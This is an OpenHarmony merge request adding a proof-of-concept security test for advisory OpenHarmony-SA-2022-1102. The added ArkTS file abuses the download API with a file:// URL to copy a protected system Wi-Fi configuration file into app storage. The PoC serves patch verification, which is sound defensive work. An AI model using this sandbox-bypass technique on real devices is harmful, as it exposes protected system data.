!7785 提交OpenHarmony-SA-2022-1102动态测试用例

Merge pull request !7785 from Brock_z/master

demo/sectest/poc_patch_scan/2022-11/OpenHarmony-SA-2022-1102/poc.ets

+/*
+ * Copyright (c) 2023 Huawei Device Co., Ltd.
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import request from "@ohos.request"
+export default{
+    downloadFile(urlPath, out) {
+        let downloadConfig = {
+            url: urlPath, //敏感文件地址
+            filePath: '/data/storage/el2/base/'+out //保存地址
+        }
+        let downloadTask;
+        
+        // Obtain the DownloadTask instance using a callback.
+        request.download(downloadConfig).then((data) => {
+            downloadTask = data;
+            downloadTask.on('fail', (error) => {
+                console.info("download fail error:" + JSON.stringify(error));
+            });
+        }).catch((err) => {
+            console.error('Failed to request the download. Cause: ' + JSON.stringify(err));
+        })
+    }
+    downloadFile('file:///data/misc/wifi/trust_list_polices.conf', 'trust_list_config.conf')
+}
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